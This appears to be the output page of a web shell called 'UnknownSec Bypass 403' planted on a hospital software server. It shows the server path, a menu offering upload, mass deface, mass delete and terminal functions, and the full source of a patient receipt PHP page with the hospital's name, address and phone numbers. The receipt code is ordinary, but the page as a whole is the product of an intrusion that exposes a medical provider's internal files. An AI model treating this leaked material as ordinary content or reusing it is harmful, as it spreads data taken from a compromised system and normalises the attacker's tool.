UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
print_receipt.php
<?php include "top1.php";?> <!-- /inner_content--> </br> </br> </br> </br> <div id="dynamic_content"> <table width="100%" border="0"> <tr> <td width="10%" border="0"> <img src="logoimage/logoclinic.jpg" id="logoimg" name="logoimg" alt="" style="width: 150px; height:75px"/> </td> <td width="90%"> <div align="center"> <b> <label id="lblhospital" name="lblhospital">BEGRAJ HOSPITAL </label> </b> </br> <label id="lblAddress1" name="lblAddress1">100 Futa Road </label> </br> <label id="lblAddress2" name="lblAddress2">Bareilly </label> </br> <label id="lblHMobileNo" name="lblHMobileNo">Mobile No: 8979236470, 9259976724 </label> </div> </td> </tr> </table> </br> <table width="100%"> <tr> <td width="33%"> <label id="title1" name="title1">UHID: </label> <label id="uhid" name="uhid">UHID:</label> </td> <td width="33%"> <label id="title2" name="title2">Opd No :</label> <label id="fileno" name="fileno"></label> </td> <td width="33%"> <label id="title3" name="title3">Date :</label> <label id="opddate" name="opddate"> </label> </td> </tr> <tr> <td> <label id="title4" name="title4">Name : </label> <label id="name" name="name"> </label> </td> <td> <label id="title5" name="title5">Age: </label> <label id="age" name="age"> </label> </td> <td> <label id="title6" name="title6">Sex : </label> <label id="sex" name="sex"> </label> </td> </tr> <tr> <td width="33%"> <label id="title7" name="title7">Mobile No :</label> <label id="mobile" name="mobile"></label> </td> <td width="33%"> <label id="title8" name="title8">Address :</label> <label id="address" name="address"> </label> </td> <td width="33%"> <label id="title9" name="title9">Consultant :</label> <label id="consultant" name="consultant"></label> </td> </tr> <tr> <td> <label id="title10" name="title10">Valid Up To : </label> <label id="validupto" name="validupto"> </label> </td> </tr> </table> </br> <table width="100%"> <tr> <thead> <th width="33%"> Charge Name </th> <th width="33%"> </th> <th width="33%"> Price </th> </tr> <tr> <td> <label id="lblchargename" name="lblchargename">charge :</label> </td> <td> <label id="lblconsultant" name="lblconsultant">Consultant :</label> </td> <td> <label id="lblamount" name="title9">lblamount :</label> </td> </tr> </table> <table width="100%"> <tr> <td width="75%"> <label id="lblpaymentmode" name="lblpaymentmode">payment mode :</label> <label id="lblbank" name="lblbank">Bank :</label> <label id="lbltransactionno" name="lbltransactionno">Transaction no :</label> </td> <td width="25%"> <label id="title9" name="title9">Total Amt :</label> <label id="lblTotalAmount" name="lblTotalAmount">Total Amt :</label> </td> <tr> <tr> <td width="75%"> <label id="lblAmountinwords" name="lblAmountinwords">Amount in words :</label> </td> <td width="25%"> <label id="title9" name="title9">Discount :</label> <label id="lbldiscount" name="lbldiscount">Discount :</label> </td> <tr> <tr> <td width="75%"> </td> <td width="25%"> <label id="title9" name="title9">Receive Amt :</label> <label id="lblReceiveamt" name="lblReceiveamt">Receive Amt :</label> </td> <tr> </table> </div> <button type="submit" style="width: 100%" name="btnprint" id="btnsavecustomer" onclick="return PrintPanel();" class="btn btn-contact">Print</button> <div class="clearfix"> </div> </div> <!--//set-1--> <!-- //inner_c <!-- //inner_content--> <style> table, th, td { border: 1px solid black; border-collapse: collapse; } th, td { padding: 5px; } </style> <script type="text/javascript"> function PrintPanel() { var panel = document.getElementById("dynamic_content"); var printWindow = window.open('', '', 'height=400,width=800'); var htmlToPrint = '' + '<style type="text/css">' + 'table th, table td {' + 'border:1px solid #000;' + 'padding:0.5em;' + '}' + '</style>'; htmlToPrint += panel.outerHTML; printWindow.document.write('<html><head><title></title>'); printWindow.document.write('</head><body >'); printWindow.document.write(htmlToPrint); printWindow.document.write('</body></html>'); printWindow.document.close(); setTimeout(function () { printWindow.print(); }, 500); return false; } function getletterheaderdetails(val) { try { var urlgetcode = 'get_opddetails.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&id='+ val, dataType: 'json', async: true, cache: false, success: function (data) { document.getElementById('uhid').innerHTML=data.suhid; document.getElementById('fileno').innerHTML=data.sfileno; document.getElementById('opddate').innerHTML=data.opddateshow; document.getElementById('name').innerHTML=data.pntpre+''+ data.name; document.getElementById('age').innerHTML=data.age; document.getElementById('sex').innerHTML=data.sex; document.getElementById('mobile').innerHTML=data.mobile; document.getElementById('address').innerHTML=data.address1; document.getElementById('consultant').innerHTML=data.examinedby; document.getElementById('validupto').innerHTML=data.expiryshow; if(data.patienttype=="Normal") { document.getElementById('lblchargename').innerHTML="Consultation Fee"; } else { document.getElementById('lblchargename').innerHTML=data.patienttype; } document.getElementById('lblconsultant').innerHTML=data.examinedby; document.getElementById('lblamount').innerHTML=data.amount; document.getElementById('lblpaymentmode').innerHTML='Mode : '+ data.paymentmode; if(data.paymentmode=="CASH") { document.getElementById('lblbank').innerHTML=""; document.getElementById('lbltransactionno').innerHTML=""; } else { document.getElementById('lblbank').innerHTML=', Bank Name :'+ data.bank; document.getElementById('lbltransactionno').innerHTML=',Tran :'+ data.chequeno; } document.getElementById('lblTotalAmount').innerHTML=data.netamount; document.getElementById('lbldiscount').innerHTML=data.discount; document.getElementById('lblReceiveamt').innerHTML=data.receiveamt; document.getElementById('lblAmountinwords').innerHTML= 'Amount in words : '+ data.amountinwords; PrintPanel(); }, error: function (request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function gethospitaldetails() { try { var urlgetcode = 'get_hospitalheader.php'; $.ajax({ method: 'POST', url: urlgetcode, dataType: 'json', async: true, cache: false, success: function(data) { document.getElementById('lblhospital').innerHTML = data.header; document.getElementById('lblAddress1').innerHTML = data.address1; document.getElementById('lblAddress2').innerHTML = data.address2; document.getElementById('lblHMobileNo').innerHTML = data.phoneno; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } $(document).ready(function() { gethospitaldetails(); var id = getUrlVars()['id']; getletterheaderdetails(id) $("#studtable").DataTable({ bLengthChange: true, "iDisplayLength": 10, bInfo: false, responsive: true, "bAutoWidth": false }); }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec